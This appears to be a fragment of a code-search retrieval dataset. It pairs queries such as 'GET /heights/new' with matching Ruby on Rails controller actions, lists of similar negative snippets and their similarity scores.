"def height(pixels)\n filter << \"Size:Height:#{pixels}\"\n self\n end",
"def height\n options[:height] || Config.height\n end",
"def height(accessoryHeight)\n return if accessoryHeight.nil?\n @dimensions[:height] = [accessoryHeight.to_f, MIN_HEIGHT, MAX_HEIGHT].sort[1]\n end",
"def height(style_name='original')\n geometry(style_name).height.to_i\n end",
"def create\n @attack_height = AttackHeight.new(attack_height_params)\n\n respond_to do |format|\n if @attack_height.save\n format.html { redirect_to @attack_height, notice: 'Attack height was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attack_height }\n else\n format.html { render action: 'new' }\n format.json { render json: @attack_height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end",
"def show\n @wine = Wine.find(params[:id])\n @bottlings = Bottling.find_all_by_wine_id(params[:id]).sort_by! {|b| b.bottle_size[0..-3].to_i }\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wine }\n end\n end",
"def show\n @hot_water_distribution = HotWaterDistribution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hot_water_distribution }\n end\n end",
"def show\n @width = Width.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @width }\n end\n end",
"def height\n return 0 if @root.nil?\n return hegiht_helper(@root)\n end",
"def thumbnail_height\n\t\t\t@data[\"thumbnail\"][\"height\"] if @data[\"thumbnail\"]\n\t\tend",
"def height\n memoized_info[:height]\n end",
"def height(y = @y)\n height = [y]\n return height unless @page\n @page.size[2].times { |i| height << y - (i + 1) }\n @page.size[3].times { |i| height << y + (i + 1) }\n return height\n end",
"def height=(height)\n if height.nil?\n fail ArgumentError, 'invalid value for \"height\", height cannot be nil.'\n end\n @height = height\n end",
"def heel_params\n params.require(:heel).permit(:height)\n end",
"def height\n @height = @height + 1\n end",
"def index\n @breeds = Breed.all\n\n render json: @breeds\n end",
"def show\n @neighborhood = Neighborhood.find(params[:id])\n\n render json: @neighborhood\n end",
"def list\n @sizes = Admin::Size.all\n\n render json: { sizes: @sizes }\n end",
"def height\n heights = [left_height, right_height].sort\n\n heights.last\n end",
"def badges(id)\n get(\"users/#{id}/badges\")\n end",
"def set_height(height) \n op = {:operation => :set_height, :height => height}\n add_operation op\n end",
"def destroy\n @attack_height.destroy\n respond_to do |format|\n format.html { redirect_to attack_heights_url }\n format.json { head :no_content }\n end\n end",
"def show\n render \"api/v1/bounties/show\"\n end",
"def height\n get_geometry if @height.nil?\n return @height\n end",
"def height=(value)\n @style.height = value\n end",
"def height(value)\n model.height = proc { value }\n end",
"def height\n dimensions()[:y]\n end",
"def show\n @gauge = Gauge.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gauge }\n end\n end",
"def get_colours\n @item = Item.find(params[:id])\n @colours = @item.variants_for(:colour, params[:size], nil)\n respond_to do |format|\n format.json { render :json => @colours }\n end\n end",
"def show\n @color_saturation = ColorSaturation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @color_saturation }\n end\n end",
"def show\n mix = BreedMix.find(params[:id])\n render json: mix\n end",
"def show\n\t\t@hall = Hall.find(params[:id])\n\t\trender json: @hall\n\tend",
"def getbatteries\n puts params\n buildid = params[\"buildingid\"]\n\n batteries = Battery.where(:building_id => buildid)\n\n puts batteries.inspect\n puts \"#################################################\"\n \n respond_to do |format|\n format.json { render json: batteries }\n end\n end",
"def show\n\t\t\t@legend = Legend.find(params[:id])\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html # show.html.erb\n\t\t\t\tformat.json { render json: @legend }\n\t\t\tend\n\t\tend",
"def setheight(height)\n @height = height\n end",
"def height\n @dimensions.y\n end",
"def new\n @hoge = Hoge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hoge }\n end\n end"
] |
[
"0.7662199",
"0.690821",
"0.6573263",
"0.65249145",
"0.6465763",
"0.64495623",
"0.63425446",
"0.6262459",
"0.6211445",
"0.6207669",
"0.6182893",
"0.6169202",
"0.60852957",
"0.6051031",
"0.60239697",
"0.5986553",
"0.5965826",
"0.5965826",
"0.5917062",
"0.5917062",
"0.59003615",
"0.5879383",
"0.5853608",
"0.5827199",
"0.57921505",
"0.57831395",
"0.57731974",
"0.5741375",
"0.5737468",
"0.5737468",
"0.5694317",
"0.5690078",
"0.56818026",
"0.56363356",
"0.5634908",
"0.5634621",
"0.56160635",
"0.55990714",
"0.55990714",
"0.5506147",
"0.5504019",
"0.5495875",
"0.54890203",
"0.5466885",
"0.5463275",
"0.54433256",
"0.54300094",
"0.5417358",
"0.5415742",
"0.5415178",
"0.5411761",
"0.5409756",
"0.5401725",
"0.537555",
"0.53738827",
"0.53732306",
"0.5347077",
"0.5321645",
"0.5321479",
"0.5320365",
"0.5311229",
"0.52884465",
"0.5287205",
"0.52819234",
"0.5276754",
"0.5274056",
"0.5271164",
"0.52665126",
"0.5256922",
"0.5253795",
"0.5251308",
"0.52474034",
"0.52429307",
"0.52356213",
"0.52350825",
"0.52313066",
"0.5217516",
"0.5216731",
"0.5216509",
"0.5207879",
"0.5183053",
"0.51746863",
"0.5170811",
"0.516556",
"0.5165189",
"0.5165169",
"0.51596177",
"0.51578414",
"0.51536953",
"0.51473963",
"0.51455957",
"0.51435626",
"0.51424694",
"0.51417637",
"0.5133695",
"0.51306033",
"0.5124272",
"0.5124026",
"0.51204574",
"0.5116345"
] |
0.7750798
|
0
|
GET /heights/new GET /heights/new.json
|
def new
@height = Height.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @height }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @height = Height.new(params[:height])\n\n respond_to do |format|\n if @height.save\n format.html { redirect_to [:admin,@height], notice: 'Height was successfully created.' }\n format.json { render json: @height, status: :created, location: @height }\n else\n format.html { render action: \"new\" }\n format.json { render json: @height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @hoge = Hoge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hoge }\n end\n end",
"def new\n @width = Width.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @width }\n end\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def new\n @bloom = Bloom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bloom }\n end\n end",
"def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end",
"def new\n @weight = Weight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weight }\n end\n end",
"def new\n @down_size = DownSize.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @down_size }\n end\n end",
"def new\n @belief = Belief.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @belief }\n end\n end",
"def new\n @highfive = Highfive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @highfive }\n end\n end",
"def new\n @hot_water_distribution = HotWaterDistribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hot_water_distribution }\n end\n end",
"def new\n @bl = Bl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bl }\n end\n end",
"def new\n @heat_type = HeatType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @heat_type }\n end\n end",
"def new\n @variety = Variety.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @variety }\n end\n end",
"def new\n @bid = Bid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bid }\n end\n end",
"def new\n @bid = Bid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bid }\n end\n end",
"def new\n @test_weight = TestWeight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_weight }\n end\n end",
"def new\n @holding = Holding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holding }\n end\n end",
"def new\n @holding = Holding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holding }\n end\n end",
"def new\n @lodge = Lodge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lodge }\n end\n end",
"def new\n @historial = Historial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @historial }\n end\n end",
"def new\n @url = Url.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end",
"def new\n @hair_colour = HairColour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hair_colour }\n end\n end",
"def new\n @hive = Hive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hive }\n end\n end",
"def show\n @height = Height.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @height }\n end\n end",
"def new\n #@gethotel = Gethotel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gethotel }\n end\n end",
"def new\n @breakdown = Breakdown.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @breakdown }\n end\n end",
"def create\n @attack_height = AttackHeight.new(attack_height_params)\n\n respond_to do |format|\n if @attack_height.save\n format.html { redirect_to @attack_height, notice: 'Attack height was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attack_height }\n else\n format.html { render action: 'new' }\n format.json { render json: @attack_height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @bounty = Bounty.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bounty }\n end\n end",
"def new\n @phile = Phile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @phile }\n end\n end",
"def new\n @boot = Boot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @boot }\n end\n end",
"def new\n\t\t@household = Household.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @household }\n\t\tend\n\tend",
"def new\n @hot_water_demand = HotWaterDemand.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hot_water_demand }\n end\n end",
"def new\n @badge = Badge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @badge }\n end\n end",
"def new\n @lot = Lot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lot }\n end\n end",
"def new\n @laugh = Laugh.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @laugh }\n end\n end",
"def new\n @widget = Widget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @widget }\n end\n end",
"def new\n @dimension = Dimension.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @dimension }\n end\n end",
"def new\n @wbr_datum = WbrDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wbr_datum }\n end\n end",
"def new\n @fridge = Fridge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fridge }\n end\n end",
"def new\n @broad = Broad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @broad }\n end\n end",
"def new\n @body_style_size = BodyStyleSize.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @body_style_size }\n end\n end",
"def new\n @medium_dungeon = MediumDungeon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medium_dungeon }\n end\n end",
"def new\n @habit = Habit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @habit }\n end\n end",
"def new\n @habit = Habit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @habit }\n end\n end",
"def new\n @tile = Tile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tile }\n end\n end",
"def new\n @gl = Gl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gl }\n end\n end",
"def new\n @droparea = Droparea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @droparea }\n end\n end",
"def new\n @stage_population = StagePopulation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stage_population }\n end\n end",
"def new\n @hour = Hour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hour }\n end\n end",
"def new\n @hour = Hour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hour }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @health_level }\n end\n end",
"def new\n @badge = Badge.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @badge }\n end\n end",
"def new\n @human = Human.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @human }\n end\n end",
"def new\n @ninja = Ninja.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ninja }\n end\n end",
"def new\n @target_age = TargetAge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @target_age }\n end\n end",
"def new\n @human = Human.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @human }\n end\n end",
"def new\n @village = Village.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @village }\n end\n end",
"def new\n @shirt_size = ShirtSize.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shirt_size }\n end\n end",
"def new\n @baton = Baton.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @baton }\n end\n end",
"def new\n @healthrecord = Healthrecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @healthrecord }\n end\n end",
"def new\n @monster = Monster.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @monster }\n end\n end",
"def new\n @zombie = Zombie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @zombie }\n end\n end",
"def new\n @lid = Lid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lid }\n end\n end",
"def new\n @block = Block.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @block }\n end\n end",
"def new\n @lbd = Lbd.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lbd }\n end\n end",
"def new\n @hetong = Hetong.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hetong }\n end\n end",
"def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end",
"def new\n @hotele = Hotele.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hotele }\n end\n end",
"def new\n @breed = Breed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @breed }\n end\n end",
"def new\n @level = Level.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @level }\n end\n end",
"def new\n @level = Level.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @level }\n end\n end",
"def new\n @level = Level.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @level }\n end\n end",
"def new\n @tablet = Tablet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tablet }\n end\n end",
"def new\n @bwimage = Bwimage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bwimage }\n end\n end",
"def new\n @gold_price = GoldPrice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gold_price }\n end\n end",
"def new\n @stalking = Stalking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stalking }\n end\n end",
"def new\n @boat = Boat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json {render json: @boat}\n end\n end",
"def new\n @hasil = Hasil.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hasil }\n end\n end",
"def new\n @pix = Pix.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pix }\n end\n end",
"def new\n @bet = Bet.new(:odd_inflation => 10, :bid_amount => 1)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bet }\n end\n end",
"def new\n @brag = Brag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brag }\n end\n end",
"def new\n @health_record = HealthRecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @health_record }\n end\n end",
"def new\n @gauge = Gauge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gauge }\n end\n end",
"def index\n @heights = Height.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @heights }\n end\n end",
"def new\n @baggage = Baggage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @baggage }\n end\n end",
"def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end",
"def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end",
"def new\n @threshold = Threshold.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @threshold }\n end\n end",
"def new\n @region = Region.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @region }\n end\n end",
"def new\n @get = Get.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @get }\n end\n end",
"def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n # format.json { render json: @budget }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @secret_record }\n end\n end",
"def new\n @color_saturation = ColorSaturation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @color_saturation }\n end\n end",
"def new\n @rainbow = Rainbow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rainbow }\n end\n end",
"def new\n @bagtype = Bagtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bagtype }\n end\n end",
"def new\n @bruschettum = Bruschettum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bruschettum }\n end\n end",
"def new\n @specie = Specie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @specie }\n end\n end",
"def new\n @kitchen = Kitchen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kitchen }\n end\n end"
] |
[
"0.7268724",
"0.67484576",
"0.6658037",
"0.6649552",
"0.6649552",
"0.6629322",
"0.66126955",
"0.6609386",
"0.6587612",
"0.6558441",
"0.65201265",
"0.6518075",
"0.6496735",
"0.64885277",
"0.64797276",
"0.6457502",
"0.6457502",
"0.64382243",
"0.64379805",
"0.64379805",
"0.64342356",
"0.64122695",
"0.6405379",
"0.64006984",
"0.63781357",
"0.637503",
"0.63750225",
"0.6364469",
"0.63618255",
"0.6353596",
"0.6352332",
"0.63482636",
"0.6331364",
"0.63281775",
"0.63202876",
"0.6314861",
"0.63106704",
"0.6309464",
"0.6305064",
"0.6294086",
"0.6284424",
"0.6283032",
"0.6278538",
"0.6274192",
"0.6273272",
"0.6273272",
"0.62722343",
"0.6268476",
"0.6267537",
"0.62670594",
"0.6263592",
"0.6263592",
"0.6252565",
"0.6247657",
"0.6246475",
"0.62397254",
"0.6237635",
"0.623318",
"0.6232893",
"0.6228744",
"0.6227546",
"0.62262285",
"0.62254447",
"0.62237126",
"0.6219914",
"0.6218511",
"0.6218217",
"0.6217087",
"0.6216812",
"0.62158674",
"0.6214652",
"0.6208245",
"0.6207897",
"0.62076443",
"0.6199135",
"0.61959815",
"0.61921674",
"0.61910754",
"0.6180381",
"0.61802834",
"0.61794555",
"0.6177394",
"0.6174322",
"0.6174014",
"0.61740077",
"0.6172133",
"0.6163238",
"0.6162559",
"0.6162559",
"0.61619765",
"0.6158862",
"0.61560214",
"0.6155761",
"0.61529857",
"0.61524373",
"0.6149614",
"0.6142126",
"0.6137081",
"0.61349964",
"0.61347234"
] |
0.8330437
|
0
|
POST /heights POST /heights.json
|
def create
@height = Height.new(params[:height])
respond_to do |format|
if @height.save
format.html { redirect_to [:admin,@height], notice: 'Height was successfully created.' }
format.json { render json: @height, status: :created, location: @height }
else
format.html { render action: "new" }
format.json { render json: @height.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @heights = Height.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @heights }\n end\n end",
"def new\n @height = Height.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @height }\n end\n end",
"def create\n @attack_height = AttackHeight.new(attack_height_params)\n\n respond_to do |format|\n if @attack_height.save\n format.html { redirect_to @attack_height, notice: 'Attack height was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attack_height }\n else\n format.html { render action: 'new' }\n format.json { render json: @attack_height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bodydatum = Bodydatum.new(bodydatum_params)\n @bodydatum.height = @bodydatum.height.round(2)\n @bodydatum.weight = @bodydatum.weight.round(1)\n respond_to do |format|\n if @bodydatum.save\n format.html { redirect_to @bodydatum, notice: 'Bodydatum was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bodydatum }\n else\n format.html { render action: 'new' }\n format.json { render json: @bodydatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def attack_height_params\n params.require(:attack_height).permit(:name, :description)\n end",
"def heel_params\n params.require(:heel).permit(:height)\n end",
"def destroy\n @height = Height.find(params[:id])\n @height.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_heights_url }\n format.json { head :ok }\n end\n end",
"def create\n megam_rest.post_billedhistories(to_hash)\n end",
"def update_heights\n\t\t@height = @tile.attributes[\"height\"]\n\t\t@waterlevel = @tile.agents.length * HEIGHT_MOD \n\tend",
"def show\n @height = Height.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @height }\n end\n end",
"def bodydatum_params\n params.require(:bodydatum).permit(:name, :weight, :height)\n end",
"def set_height(height) \n op = {:operation => :set_height, :height => height}\n add_operation op\n end",
"def update\n @height = Height.find(params[:id])\n\n respond_to do |format|\n if @height.update_attributes(params[:height])\n format.html { redirect_to [:admin,@height], notice: 'Height was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height=(value)\n @height = value\n end",
"def create\n @bathroom = Bathroom.new(bathroom_params.except(:stalls))\n num_stalls = bathroom_params[:stalls].to_i\n\n respond_to do |format|\n if @bathroom.save\n (0..(num_stalls - 1)).each do |i|\n Stall.new({ bathroom_id: @bathroom.id, state: false, number: @bathroom.stalls.count }).save\n end\n format.html { redirect_to @bathroom, notice: 'Bathroom was successfully created.' }\n format.json { render :show, status: :created, location: @bathroom }\n else\n format.html { render :new }\n format.json { render json: @bathroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height=(value)\n\t\t\t@height = value\n\t\tend",
"def height=(value)\n\t\t\t@height = value\n\t\tend",
"def height=(height)\n end",
"def validatorsets_height_get_with_http_info(height, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TendermintRPCApi.validatorsets_height_get ...'\n end\n # verify the required parameter 'height' is set\n if @api_client.config.client_side_validation && height.nil?\n fail ArgumentError, \"Missing the required parameter 'height' when calling TendermintRPCApi.validatorsets_height_get\"\n end\n # resource path\n local_var_path = '/validatorsets/{height}'.sub('{' + 'height' + '}', height.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2002')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TendermintRPCApi#validatorsets_height_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def height(input)\n process(:height, input)\n end",
"def height(_hash)\n raise Sibit::NotSupportedError, 'Earn API doesn\\'t provide height()'\n end",
"def height(_hash)\n raise Sibit::NotSupportedError, 'Blockchair API doesn\\'t provide height()'\n end",
"def validatorsets_height_get(height, opts = {})\n data, _status_code, _headers = validatorsets_height_get_with_http_info(height, opts)\n data\n end",
"def height(value)\n fail InvalidHeight if y_out_of_bounds?(value)\n\n attributes[:geometry][:height] = value\n end",
"def destroy\n @attack_height.destroy\n respond_to do |format|\n format.html { redirect_to attack_heights_url }\n format.json { head :no_content }\n end\n end",
"def height=(height)\n if height.nil?\n fail ArgumentError, 'invalid value for \"height\", height cannot be nil.'\n end\n @height = height\n end",
"def prediction_params\n params.require(:prediction).permit(:id, :height, :weight)\n end",
"def blocks_height_get_with_http_info(height, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TendermintRPCApi.blocks_height_get ...'\n end\n # verify the required parameter 'height' is set\n if @api_client.config.client_side_validation && height.nil?\n fail ArgumentError, \"Missing the required parameter 'height' when calling TendermintRPCApi.blocks_height_get\"\n end\n # resource path\n local_var_path = '/blocks/{height}'.sub('{' + 'height' + '}', height.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BlockQuery')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TendermintRPCApi#blocks_height_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def setheight(height)\n @height = height\n end",
"def blocks_height_get(height, opts = {})\n data, _status_code, _headers = blocks_height_get_with_http_info(height, opts)\n data\n end",
"def height(hash)\n best_of('height') do |api|\n api.height(hash)\n end\n end",
"def append_height\n diff = @hull_size[0]\n @hull += Array.new(diff) { Array.new(@hull_size[1]) }\n @hull_size[0] += diff\n end",
"def height=(height)\n if height.nil?\n fail ArgumentError, 'invalid value for \"height\", height cannot be nil.'\n end\n if height < 0\n fail ArgumentError, 'invalid value for \"height\", must be greater than or equal to 0.'\n end\n @height = height\n end",
"def create\n @hospital_bedsize = HospitalBedsize.new(hospital_bedsize_params)\n\n respond_to do |format|\n if @hospital_bedsize.save\n format.html { redirect_to @hospital_bedsize, notice: 'Hospital bedsize was successfully created.' }\n format.json { render :show, status: :created, location: @hospital_bedsize }\n else\n format.html { render :new }\n format.json { render json: @hospital_bedsize.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_sizes\n @serie = Serie.find(params[:id])\n\n min_w = params[:series][:minimum_width].to_f\n min_h = params[:series][:minimum_height].to_f\n max_w = params[:series][:maximum_width].to_f\n max_h = params[:series][:maximum_height].to_f\n\n # should probably delete all existing dimensions and sizes first...\n\n Dimension.delete_all.where(:serie_id => @serie.id)\n\n # TODO: need to make sure starting value is even\n # next, generate all the widths and heights\n curr_width = min_w\n while curr_width <= max_w do\n Width.create :serie_id => params[:id], :value => curr_width\n curr_width += 2;\n end\n\n curr_height = min_h;\n while curr_height <= max_h do\n Height.create :serie_id => params[:id], :value => curr_height\n curr_height += 2;\n end\n\n # given all the above params, generate w,h dimension every 2 inches and set price.\n redirect_to :action => 'show', :id => params[:id]\n end",
"def height\n end",
"def height\n end",
"def set_Height(value)\n set_input(\"Height\", value)\n end",
"def new\n @down_size = DownSize.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @down_size }\n end\n end",
"def update\n @bodydatum.height = @bodydatum.height.round(2)\n @bodydatum.weight = @bodydatum.weight.round(1)\n respond_to do |format|\n if @bodydatum.update(bodydatum_params)\n format.html { redirect_to @bodydatum, notice: 'Bodydatum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bodydatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n @post.weight = Post.all.size\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to cm_post_categories_url, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height=(height)\n if !height.nil? && height < 0\n fail ArgumentError, 'invalid value for \"height\", must be greater than or equal to 0.'\n end\n\n @height = height\n end",
"def new\n @screenshot = Screenshot.new\n @screenshot.sizes.build(height: 900, width: 1200)\n @screenshot.sizes.build(height: 600, width: 768)\n @screenshot.sizes.build(height: 480, width: 320)\n @button = \"Send\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @screenshot }\n end\n end",
"def body_measurement_params\n params.require(:body_measurement).permit(:profiles_id, :body_types_id, :height, :weight, :shirt_size, :pants_size, :shoe_size)\n end",
"def create\n @post_block = PostBlock.new(post_block_params)\n # ставим блок в самый конец поста\n @post_block.weight = @post.blocks.size\n\n respond_to do |format|\n if @post_block.save\n format.html { redirect_to edit_cm_post_block_url(@post, @post_block), notice: 'Post block was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post_block }\n else\n @errors = @post_block.errors\n abort @errors.to_s\n format.html { render action: 'new' }\n format.json { render json: @post_block.errors, status: :unprocessable_entity }\n end\n end\n end",
